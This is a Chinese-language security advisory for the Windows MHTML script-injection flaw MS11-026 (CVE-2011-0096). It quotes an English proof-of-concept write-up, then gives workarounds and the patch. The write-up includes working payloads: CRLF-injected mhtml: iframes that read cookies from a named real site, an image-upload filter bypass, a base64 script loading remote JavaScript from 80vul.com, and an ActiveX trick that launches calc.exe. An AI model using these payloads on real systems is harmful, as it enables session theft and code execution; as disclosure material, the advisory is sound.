安全研究
安全漏洞
Microsoft Windows MHTML脚本代码注入漏洞（MS11-026）
发布日期：2011-01-28
更新日期：2011-01-29
受影响系统：
Microsoft Windows描述：
Microsoft Vista
Microsoft Windows 7
Microsoft Server 2003
BUGTRAQ ID: 46055
CVE ID: CVE-2011-0096
Microsoft Windows是微软发布的非常流行的操作系统。
Microsoft Windows使用MHTML时存在安全漏洞，远程攻击者可利用此漏洞将任意脚本代码注入到当前浏览器会话，获取敏感信息，欺骗内容或在目标网站执行任意操作。
此漏洞源于MHTML解释MIME格式请求文档中内容块的方式。在某些情况下，此漏洞可能会允许攻击者在运行在受害者IE中的Web请求的响应中注入客户端脚本。该脚本可欺骗内容、泄露信息或以目标用户身份在受影响站点进行攻击。
<*链接：http://www.wooyun.org/bugs/wooyun-2010-01199
http://www.microsoft.com/technet/security/bulletin/MS11-026.asp
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
Author: www.80vul.com [Email:5up3rh3i#gmail.com]
Release Date: 2011/1/15
References: http://www.80vul.com/mhtml/Hacking%20with%20mhtml%20protocol%20handler.txt
Ph4nt0m Webzine 0x05 (http://secinn.appspot.com/pstzine) Was finally released yesterday, There are two articles about the browser security[0x05 and 0x06].If the combination of both, we can complete a lot of interesting attacks...
1.Cross Site Scripting by upload mhtml file
Using the mhtml protocol handler,The file extension is ignored.so the attacker use renname the mhtml file to a *.jpg file,etc. then upload it to the target site...
ofcouser ,we can use "copy /b 1.jpg + 1.mhtml 2.jpg" to bypass some upload file format security restrictions
then use iframe tag src to it:
<iframe src="MHTML:http://target-site[.]com/upfile/demo.html!cookie"></iframe>
2.Cross Site Scripting mhtml-file string injection
the mhtml-file format is only base on CRLF,so if we can injection CRLF, the site may be attacked.
poc:
test it on win7 system pls.
<iframe src="mhtml:http://www.tudou.com/my/channel/item.srv?icode=enQCgQKJTDs&callback=Content-Type%3A%20multipart%2Frelated%3B%20boundary%3D_boundary_by_mere%0D%0A%0D%0A--_boundary_by_mere%0D%0AContent-Location%3Acookie%0D%0AContent-Transfer-Encoding%3Abase64%0D%0A%0D%0APGJvZHk%2BDQo8aWZyYW1lIGlkPWlmciBzcmM9Imh0dHA6Ly93d3cuODB2dWwuY29tLyI%2BPC9pZnJhbWU%2BDQo8c2NyaXB0Pg0KYWxlcnQoZG9jdW1lbnQuY29va2llKTsNCmZ1bmN0aW9uIGNyb3NzY29va2llKCl7DQppZnIgPSBpZnIuY29udGVudFdpbmRvdyA%2FIGlmci5jb250ZW50V2luZG93IDogaWZyLmNvbnRlbnREb2N1bWVudDsNCmFsZXJ0KGlmci5kb2N1bWVudC5jb29raWUpDQp9DQpzZXRUaW1lb3V0KCJjcm9zc2Nvb2tpZSgpIiwxMDAwKTsNCjwvc2NyaXB0PjwvYm9keT4NCg%3D%3D%0D%0A--_boundary_by_mere--%0D%0A!cookie"></iframe>
if win-xp or win2k3 system,pls do it by the second urlencode.
mhtml-file string injection in JOSN file, some sites restrict the JOSN file's Content-Type to defense xss. maybe we can use mhtml-file string injection to pass it :)
3.bypass X-Frame-Options
X-Frame-Options did not protect the mhtml protocol handler.
the demo:
<iframe src="mhtml:http://www.80vul.com/mhtml/zz.php!cookie"></iframe>
<iframe src="http://www.80vul.com/mhtml/zz.php"></iframe>
4.mhtml+file://uncpath+Adobe Reader 9 == local xss vul
Billy (BK) Rios introduced a very interesting approach to Steal local files on the RuxCon/Baythreat(https://xs-sniper.com/blog/2010/12/17/will-it-blend/) ,it used "Script src to local files in the LocalLow directory" by file:// +java apple +Adobe Reader+Adobe flash to complete it. but if used mhtml+file://uncpath, so easy to do it.
Demo:
test it on win2k3+ie8+Adobe Reader 9
http://www.80vul.com/hackgame/xs-g0.php?username=Administrator
5.mhtml+file://uncpath+word == local xss vul
demo:http://www.80vul.com/mhtml/word.doc
download it, and save it on c:\word.doc and open it. u can get the alert c:\boot.ini 's content.
this is base on "Microsoft word javascript execution"(http://marc.info/?l=bugtraq&m=121121432823704&w=2).
to make the proof of concept follow the following steps:
1-Make a html file and paste xss code
2-Open the html file with the word and save as c:\word.xml
3-Open the word.xml with the notepad,and inject the mhtml code in <w:t>aaaaa </w:t>
4-Rename c:\word.xml to c:\word.doc
5-Open c:\word.doc file
xss code
---------------------------------------------------------
<html><OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=http://www.80vul.com/hackgame/word.htm></OBJECT>
aaaaa
----------------------------------------------------------
mhtml code
--------------------------------------------------------
/*
Content-Type: multipart/related; boundary="_boundary_by_mere":
--_boundary_by_mere
Content-Location:cookie
Content-Transfer-Encoding:base64
PGJvZHk+DQo8c2NyaXB0IHNyYz0naHR0cDovL3d3dy44MHZ1bC5jb20vaGFja2dhbWUvZ28uanMnPjwvc2NyaXB0Pg0KPC9ib2R5Pg0K
--_boundary_by_mere--
*/
--------------------------------------------------------
if u use this vul to attack someone,u need to known the word file path where save the download file. and lots of guns used on the desktop :)
"Microsoft word javascript execution" is only work on office 2k3 and 2k7, In other versions u can make the link, and src to http://www.80vul.com/hackgame/word.htm
update
ofcouse ,this way maybe work on anoher file type like:*.pdf by app.launchURL()
6. Coss Zone Scripting
First we would like to mention a very old vulnerability:
<OBJECT CLASSID=CLSID:12345678-1234-4321-1234-111111111111 CODEBASE=c:/winnt/system32/calc.exe></OBJECT>
This vulnerability (by firebug9[http://hi.baidu.com/firebug9/blog/item/b7627c4624cd880f6a63e5e7.html]) allows you to execute any program on "My Computer" zone,Been tested and found to this vul work on ie6/ie7/ie8+win2k/winxp/win2k3
Then repeat "5.mhtml+file://uncpath+word == local xss vul" steps and change:
xss code
---------------------------------------------------------
<html><OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=mhtml:file://c:/word.doc!cookie></OBJECT>
aaaaa
----------------------------------------------------------
mhtml code
--------------------------------------------------------
/*
Content-Type: multipart/related; boundary="_boundary_by_mere":
--_boundary_by_mere
Content-Location:cookie
Content-Transfer-Encoding:base64
PE9CSkVDVCBDTEFTU0lEPUNMU0lEOjEyMzQ1Njc4LTEyMzQtNDMyMS0xMjM0LTExMTExMTExMTExMSBDT0RFQkFTRT1jOi93aW5kb3dzL3N5c3RlbTMyL2NhbGMuZXhlPjwvT0JKRUNUPg==
--_boundary_by_mere--
*/
--------------------------------------------------------
thx d4rkwind(http://hi.baidu.com/d4rkwind/) for his excellent paper.
About Ph4nt0m Webzine
Ph4nt0m Webzine is a free network Security Magazine,We accept articles in English and Chinese, you are welcome contributions .
mailto:root_at_ph4nt0m.org pls.thank you!
建议：
临时解决方法：
如果您不能立刻安装补丁或者升级，NSFOCUS建议您采取以下措施以降低威胁：
* 暂时禁用MHTML协议处理器扩展，微软提供了如下的禁用工具：
http://go.microsoft.com/?linkid=9760419
* 启用MHTML协议禁闭
* 将互联网和本地内网的安全区域设置为“高”以阻止在这些区域内的ActiveX控件和Active脚本执行
* 配置IE，在运行活动脚本之前提示或在互联网和本地内网的安全区域禁用活动脚本。
厂商补丁：
Microsoft
---------
Microsoft已经为此发布了一个安全公告（MS11-026）以及相应补丁:
MS11-026：Vulnerability in MHTML Could Allow Information Disclosure (2503658)
链接：http://www.microsoft.com/technet/security/bulletin/MS11-026.asp
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